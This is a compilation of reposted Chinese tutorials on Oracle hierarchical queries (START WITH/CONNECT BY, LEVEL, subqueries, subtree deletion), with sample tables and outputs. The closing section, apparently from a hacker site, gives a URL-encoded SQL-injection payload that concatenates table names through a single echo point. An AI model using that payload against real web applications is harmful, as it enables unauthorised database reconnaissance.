ORACLE 数据库的级联查询

 在ORACLE 数据库中有一种方法可以实现级联查询
select  *                //要查询的字段
from table              //具有子接点ID与父接点ID的表
start with selfid=id      //给定一个startid(字段名为子接点ID，及开始的ID号)
connect by prior selfid=parentid       //联接条件为子接点等于父接点
这个SQL主要用于级联查询，给一个父接点可以查出所有的子接点。及子接点的子接点，一查到底，很实用。
例：航班表airline，如何用sql语句查询出从广州出发能到达的所有目的地，允许任意中转。
FLIGHTNO ORIGIN  DESTINATION
-------------------------------------------
cz3001  CAN  CSX
cz3002  CAN  SHA
cz3003  CSX  SHA
cz3004  CSX  PEK
cz3005  SHA  XIY
cz3006  SHA  SWA
cz3007  PEK  URC
cz3008  PVC  AMS
cz3009  WUH  PVC
cz3010  WUH  XIY
这里根就是CAN，SQL语句如下：
 
select t.destination from airline t start with origin='CAN' connect by prior destination = origin;
查询结果：

DESTINATION
-------------------
CSX 
SHA 
XIY 
SWA 
PEK 
URC 
SHA 
XIY 
SWA 

9 rows selected.
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
在网上看到下面的例子应该更容易理解些，转载一下：
数据结构如下：
t1
 t11
     t111
        t1111
 t12
     t121
        t1211
 
db数据字段如下：
task_id             task_name         t.parent_task_id       ***
***                     ***                          ***                               ***
000001            t1                         ***                                 ***
000002            t11                       000001                        ***
000005            t12                       000001                         ***
000003            t111                    000002                         ***
000004            t1111                  000003                         ***
000006            t121                    000005                         ***
000007            t1211                  000006                         ***
***                     ***                       ***                                 ***

查询语句：

select t.task_id ,t.task_name ,t.parent_task_id
from t_task t
start with task_id='000001'
connect by prior task_id = parent_task_id;

结果显示：
task_id                 task_name          t.parent_task_id
000001                t1          
000002                t11                       000001
000003                t111                     000002
000004                t1111                    000003
000005                t12                       000001
000006                t121                     000005
000007                t1211                   000006
strat with 指定层次开始的条件，即是说满足这个条件的行即可以做为层次树的最顶层
 
connect by prior指层之间的关联条件，即什么样的行是上层行的子行（自连接条件）
 
select level ,id,name,parentid from temptable2
  connect by prior parentid(属于顶层的列)=id(子层的列)  start with id =1

 

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/jojoy_828/archive/2008/05/22/2468742.aspx

（）

Oracle开发专题之：级联查询(Hierarchical Queries)

 

一、级联数据的表示：

首先我们来看一张关于组织架构的结构图




这张图是一个典型的“树型结构图”，只有一个根节点(King)，其下有若干个分支节点，每个分支节点下又有若干个子节点或树叶节点。假如我们要把这些关系信息映射到数据库中(此处以Oracle9i数据库为例)，表结构应当如何表示呢？

CREATE TABLE EMPLOYEE (

EMP_ID          NUMBER (4) CONSTRAINT EMP_PK PRIMARY KEY,

FNAME           VARCHAR2 (15)NOT NULL, 

LNAME           VARCHAR2 (15)NOT NULL, 

DEPT_ID         NUMBER (2)NOT NULL,

MANAGER_EMP_ID  NUMBER (4) CONSTRAINT EMP_FK REFERENCES EMPLOYEE(EMP_ID),

SALARY          NUMBER (7,2)NOT NULL,

HIRE_DATE       DATENOT NULL, 

JOB_ID          NUMBER (3));

请注意这里红色粗体部分，字段MANAGER_EMP_ID的值引用了字段EMP_ID的值，我们称这种引用为“自引用”。它规定了经理人员的ID必须是来自表中存在的员工ID。

二、Oracle 9i中的start with...connect by:

[[START WITH condition1]  CONNECT BY condition2]

START WITH condition1
指定级联数据的根记录(一条或多条)，所有满足条件1的记录都将被当成是根纪录，假如我们不给定START WITH子句，所有的纪录都会被当成是根纪录，通常这不是我们想要的结果。condition1可以是一个子查询。
http://www.blogjava.net/pengpenglin/archive/2008/06/11/207166.html

CONNECT BY condition2
指定级联数据中父纪录和子纪录之间的关系，这里的关系被表示成一个表达式，当前纪录的字段会和对应的父纪录的某个字段进行比较。condition2必须跟着一个PRIOR操作符，该操作符用于标明父纪录的字段。condtion2不能包含子查询

PRIOR是Oracle的一个内建操作符，仅用于级联查询。当我们在级联查询的CONNECT BY条件中使用了PRIOR操作符时，位于其后的表达式被当成是当前纪录的父纪录进行比较。

三、实例比较：

下面我们通过2条SQL语句来演示如何进行级联查询，以及PRIOR在不同位置时带来的不同结果。

SQL >   select   *   from  employee;

        ID EMP_NAME             MANAGER_ID
-- -------- -------------------- ----------
          1  king
          2  mark                           1
          3  bob                            1
          4  tom                            2
          5  paul                           2
          6  jack                           3
          7  ben                            4

7  rows selected.

需求：我们要找出员工ID为2的人及其所有下属(包括直接和间接下属)

SQL >   select   *   from  employee start  with  id  =   2  connect  by  prior id  =  manager_id  order   by  id;

        ID EMP_NAME             MANAGER_ID
-- -------- -------------------- ----------
          2  mark                           1
          4  tom                            2
          5  paul                           2
          7  ben                            4

请注意PRIOR操作符被放置在字段ID前面。查询结果中ID为7的员工ben，虽然其对应的经理ID为4，但是因为员工号为4的tom，其对应的经理ID为2，所以ben是属于mark的间接下属而符合查询条件。

我们已经知道PRIOR放在那一侧，那一侧的字段就会被当成父记录的字段而被用于和当前记录的字段(另一侧的表达式)进行比较，那么假如我们把PRIOR放在manager_id一侧，结果会有什么不同吗？请看下面的SQL执行结果。

SQL >   select   *   from  employee start  with  id  =   2  connect  by  id  =  prior manager_id  order   by  id;

        ID EMP_NAME             MANAGER_ID
-- -------- -------------------- ----------
          1  king
          2  mark                           1

很明显结果完全不同，那么是什么造成了两次查询的结果完全不同呢？说到这里我们还要再回到SQL语言本身，我用一种比较直白的方式来讲解不同位置的PRIROR所带来的不同意义。

【1】第一个查询：connect by prior id = manager_id，意思是从当前根记录开始，查找所有符合条件的记录：他们的manager_id必须等于当前记录的id。也就是说查找所有manager_id=2的记录及其子记录，很明显manager_id=2的记录只有tom和paul，但是由于ben的直接领导tom是mark的下属，所以ben也是mark的下属，只不过是间接关系而已。

【2】第二个查询：connect by id = prior manager_id，意思是从当前根记录开始，查找所有符合条件的记录：他们的id必须等于当前记录的manager_id。也就是说查找所以id=1的记录，那么很明显id=1的记录只有king。

总结：Prior放在那里，那一侧就是被比较的一方(父方)，另一侧就是发起比较的一方(子方)。语义上可以这样翻译：xxx字段的值必须等于当前记录XXX字段的值(prior一方)

（】

目录：
=========================================
1.使用伪列Level显示表中节点的层次关系
2.统计表中节点的层数
3.统计表中各个层次的节点数量
4.查找表中各个层次的节点信息
5.在Start with中使用子查询
6.判断节点和节点之间是否具有层次关系
7.删除级联表中的子树

一、使用伪列Level显示表中节点的层次关系：

Oracle9i对级联查询的支持不仅在于提供了像Start with...Connect by这样的子句供我们很方便地执行查询，而且还提供了一个伪列(Pseudocolumn): Level。这个伪列的作用是在递归查询的结果中用来表示节点在整个结构中所处的层次。下面我们来看看实际的例子：

还是上次那个employee表，现在我们要在上次的需求上面增加点小玩意：输出每个节点的层次值，看如下SQL：
（）

SQL> select level, id, emp_name, manager_id from employee start with id = 2 connect by prior id =  ma
nager_id order by  id;

     LEVEL          ID EMP_NAME             MANAGER_ID
---------- ---------- -------------------- ----------
         1          2 mark                          1
          2           4 tom                           2
          2           5 paul                          2
          3           7 ben                           4

SQL > 

我们可以看到在LEVEL列，输出了1,2,2,3的值，这就是Oracle为我们提供的一个伪列。此伪列只能用在start with...connect by子句中，下面我们来看另一种方式是否可行：

SQL> select level, p.* from (select * from employee start with id = 2 connect by prior id =  manager_
id order by  id) p;

     LEVEL          ID EMP_NAME             MANAGER_ID
---------- ---------- -------------------- ----------
         0          2 mark                          1
          0           4 tom                           2
          0           5 paul                          2
          0           7 ben                           4

SQL > 

可以看到Level列的值全部变成了0，可见在这里Oracle并不认为虚表P里面的数据是“层次关系”，因而对于Level都返回0

二、统计表中节点的层数：

假设现在我们想看一下当前employee表中员工总共分为几个级别，我们应该如何做呢？请看下面的SQL

SQL> select * from  employee;

        ID EMP_NAME             MANAGER_ID
---------- -------------------- ----------
         1  king
         2 mark                          1
          3  bob                           1
          4  tom                           2
          5  paul                          2
          6  jack                          3
          7  ben                           4

7  rows selected.

SQL>  
SQL>  
SQL> select count(level) from employee start with manager_id is null connect by prior id =  manager_i
d;

COUNT(LEVEL )
------------
           7

SQL >  
SQL> select count(distinct level) from employee start with manager_id is null connect by prior id =  
manager_id;

COUNT (DISTINCTLEVEL)
--------------------
           4

从这里我们可以看到，在统计的时候一定要使用distinct关键字，否则得到的错误的结果。

三、统计表中各个层次的节点数量：

假设我们想知道employee表中每个级别的员工数量，我们应该如何做呢--对了，使用Level和group by子句了

SQL> select level, count(level) from employee start with manager_id is null connect by prior id =  ma
nager_id group by level ;

     LEVEL COUNT(LEVEL )
---------- ------------
         1            1
          2             2
          3             3
          4             1

四、查找表中各个层次的节点信息：

上面的例子很简单，我们看到Level可以用在group by子句中，现在我们更进一步，查看指定层次的员工信息，比如说我现在打算查看Level=2的所有员工的记录，应该如何做呢？很自然地我们想到了第一个SQL语句：

SQL> select level, id, emp_name, manager_id from employee where level >= 2 ;

no rows selected

很奇怪吧，这这里level关键字就不起作用了，这是因为level伪列只能在和start with...connect by子句结合时才能发挥作用，就想上面的统计各层节点数量一样，于是我们又立马想到了第二个SQL语句：

select *
   from (select level , id, emp_name, manager_id
          from  employee
         start with manager_id is null
        connect  by prior id =  manager_id
         order by  id) p
 where p.level = 2

看起来这个句子没有什么问题吧，实际执行的效果如何呢？我们在SQL*PLUS下执行，结果却是报错：

ERROR at line 1 :
ORA-01747: invalid user.table.column, table.column, or column specification

很郁闷！为什么会报p.level不可识别呢？这是因为level是Oracle的伪列，并不属于任何一个表，我们必须使用别名把这个伪列“伪装”成一个实际的列，现在我们看第三个语句，注意语句高亮处。

SQL> select *
   2     from (select level  emp_level , id, emp_name, manager_id
  3            from  employee
  4           start with manager_id is null
   5           connect by prior id =  manager_id
  6           order by  id) p
  7   where p.emp_level = 2 ;

 EMP_LEVEL         ID EMP_NAME             MANAGER_ID
---------- ---------- -------------------- ----------
         2          2 mark                          1
          2           3 bob                           1

SQL > 

这次终于搞定了！不过实际上我们有更简单的解决方法，请看第四个SQL语句：

SQL> select level , id, emp_name, manager_id
  2    from  employee
  3   where level = 2
   4    start with manager_id is null
   5   connect by prior id =  manager_id
  6   order by  id;

     LEVEL          ID EMP_NAME             MANAGER_ID
---------- ---------- -------------------- ----------
         2          2 mark                          1
          2           3 bob                           1

上面我们是查看某个层次的所有节点信息，现在我们打算看看所有层次的节点信息，而且要求用一种直观的信息显示出来。下面的例子演示了如何使用空格缩进的方式来直观显示节点之间的层次关系：

SQL> select level, id, lpad('  ', 2 * (level - 1)) ||  emp_name name, manager_id
  2    from  employee
  3   start with manager_id is null
   4   connect by prior id =  manager_id;

     LEVEL          ID NAME                 MANAGER_ID
---------- ---------- -------------------- ----------
         1          1  king
         2          2   mark                        1
          3           4     tom                       2
          4           7       ben                     4
          3           5     paul                      2
          2           3   bob                         1
          3           6     jack                      3

7  rows selected.

请注意这里的lpad函数的作用，正是它利用了层次和空格进行缩进，让我们可以很直观地从NAME字段对齐方式就知道各个节点的层次关系。如果我们需要过滤其中的某些节点，只需要将where条件加在start with前面就可以了(注意必须是前面，否则会报语法错误)。

五、在Start with中使用子查询：

在前面我们看到的例子中，start with的值都是一个固定的内容，但有些时候查询的起始点并不容易确定，比如：查询工号最小的员工节点及其子节点，这个时候工号最小很明显是一个查询的条件，需要我们先通过执行一个查询得到确定的值，再作为查询的起点。请看例子：

SQL> select level, id, lpad('  ', 2 * (level - 1)) ||  emp_name name, manager_id
  2    from  employee
  3   start with id = (select min(id) from  employee)
  4  connect by prior id =  manager_id;

     LEVEL          ID NAME                 MANAGER_ID
---------- ---------- -------------------- ----------
         1          1  king
         2          2   mark                        1
          3           4     tom                       2
          4           7       ben                     4
          3           5     paul                      2
          2           3   bob                         1
          3           6     jack                      3

7  rows selected.

六、判断节点和节点之间是否具有层次关系：

在日常工作中除了查询节点的信息之外，另一个常见的应用就是判断某个节点和另外一个/些节点之间是否具有层次关系。例如我想知道员工mark是不是员工jack的领导(直接或间接的都可以)，我应该怎么做呢？

考虑到start with...connect by会返回一棵节点树，假如节点数上没有jack节点，那么说明mark并不是jack的直接或间接领导，如果找到那说明mark是jack的父节点。方法简单

SQL> select level ,
  2          id,
  3         lpad('  ', 2 * (level - 1)) ||  emp_name employee_name,
  4          manager_id
  5    from  employee
  6   where emp_name = 'jack'
   7    start with emp_name = 'mark'
   8   connect by prior id =  manager_id;

no rows selected

七、删除级联表中的子树：

假设现在employee表中的mark及其下属员工离职，那么我们为了维护数据的完整性，必须将mark及其下属员工的节点都删除，有了start with...connect by和level我们就可以轻松地做到这一点了。

【1】按名称删除节点树：

SQL> delete from  employee
  2   where id in (select  id
  3                  from  employee
  4                 start with emp_name = 'mark'
   5                 connect by prior id =  manager_id);

4 rows deleted.

【2】按层次删除节点树：

从上面的例子我们知道只需要在第一个SQL的基础上改变一下：使用level区分节点的层次就做到了。

参考资料：《Mastering Oracle SQL》(By Alan Beaulieu, Sanjay Mishra O'Reilly June 2004  0-596-00632-2)  

现在将上面的行政区划按代码分为三个级别：省（后四位为0）/市（后两位为0）/县，同时分别标出他们的级别，这样的话，便于后期根据不同的级别查询。
前提：
数据库表DM_xzqh样例（部分）：
复制代码 代码如下:
DM MC
230000 黑龙江省
230100 哈尔滨市
230101 市辖区
230102 道里区
232700 大兴安岭
230103 南岗区
230104 道外区
230108 平房区
230109 松北区
230110 香坊区
230111 呼兰区
230112 阿城区
230123 依兰县
238000 农垦分局
230124 方正县
230125 宾县
230126 巴彦县
230127 木兰县
230128 通河县
230129 延寿县
230182 双城市
230183 尚志市

现在将上面的行政区划按代码分为三个级别：省（后四位为0）/市（后两位为0）/县，同时分别标出他们的级别，这样的话，便于后期根据不同的级别查询。
首先，根据上面表拓展出新的一行sjbm，该行用于表示该行政区划所属的上级行政区划。具体代码如下：
复制代码 代码如下:
select t.dm,t.mc,case
when substr(t.dm,3)='0000' then 1
when substr(t.dm,5)='00' then to_number(substr(t.dm,1,2)||'0000')
when substr(t.dm,5)!='00' then to_number(substr(t.dm,1,4)||'00')
else 0
end sjbm from dm_xzqh t

结果如下：
序号 DM MC SJBM
1 230000 黑龙江省 1
2 230100 哈尔滨市 230000
3 230101 市辖区 230100
4 230102 道里区 230100
5 232700 大兴安岭 230000
6 230103 南岗区 230100
7 230104 道外区 230100
8 230108 平房区 230100
9 230109 松北区 230100
10 230110 香坊区 230100
11 230111 呼兰区 230100
12 230112 阿城区 230100
13 230123 依兰县 230100
14 238000 农垦分局 230000
15 230124 方正县 230100
16 230125 宾县 230100
17 230126 巴彦县 230100
18 230127 木兰县 230100
19 230128 通河县 230100
20 230129 延寿县 230100
21 230182 双城市 230100
22 230183 尚志市 230100
然后，就可以利用oracle的层次关系将该查询出的数据分级了，具体代码如下：
复制代码 代码如下:
select level,dm,mc,sjbm from
(select t.dm,t.mc,case
when substr(t.dm,3)='0000' then 1
when substr(t.dm,5)='00' then to_number(substr(t.dm,1,2)||'0000')
when substr(t.dm,5)!='00' then to_number(substr(t.dm,1,4)||'00') end sjbm from dm_xzqh t)
[where level=2 ]--该条件语句用于查询具体的每一个级别的行政区划
start with sjbm=1
connect by prior dm=sjbm
[order by level];

结果如下：
序号 level DM MC SJBM
1 1 230000 黑龙江省 1 //省 ，level->1
2 2 230100 哈尔滨市 230000//市,level->2
3 3 230101 市辖区 230100//县,level->3
4 3 230102 道里区 230100
5 3 230103 南岗区 230100
6 3 230104 道外区 230100
7 3 230108 平房区 230100
8 3 230109 松北区 230100
9 3 230110 香坊区 230100
10 3 230111 呼兰区 230100
11 3 230112 阿城区 230100
12 3 230123 依兰县 230100
13 3 230124 方正县 230100
14 3 230125 宾县 230100
15 3 230126 巴彦县 230100
16 3 230127 木兰县 230100
17 3 230128 通河县 230100
18 3 230129 延寿县 230100
19 3 230182 双城市 230100
20 3 230183 尚志市 230100
21 3 230184 五常市 230100
22 2 232700 大兴安岭地区 230000
本文来自: 脚本之家(www.jb51.net) 详细出处参考：http://www.jb51.net/article/19345.htm参考资料：《Mastering Oracle SQL》(By Alan Beaulieu, Sanjay Mishra O'Reilly June 2004  0-596-00632-2) 

 

 

（）（

Oracle一句话查询出多个字段级联
减小字体 增大字体 作者：way7t
我们在Oracle SQL注入中经常遇到回显点只有一项的情况，那么可以通过如下的语句一次性将一个recordset的多项级联起来：
select+max(sys_connect_by_path(table_name,','))+from+(select+table_name,lag(table_name)over(order+by+table_name)+as+lagcol,rownum+as+rn+from+tabs+where+rownum<=100)start+with+table_name='****'+connect+by+lagcol=prior+table_name
例如
select table_name from tabs查询出三项：
table1
table2
table3
那么将上面的****替换为table1，如下：
select+max(sys_connect_by_path(table_name,','))+from+(select+table_name,lag(table_name)over(order+by+table_name)+as+lagcol,rownum+as+rn+from+tabs+where+rownum<=100)start+with+table_name='table1'+connect+by+lagcol=prior+table_name
结果就是“,table1,table2,table3”这样一个大字符串，这样可以节省一些时间。
ps：其中的+是方便从URL注入，其实是空格
内容来源：黑羽黑客软件下载网 http://www.hackyuyi.cn
原文链接：http://www.hackyuyi.cn/article/7961.html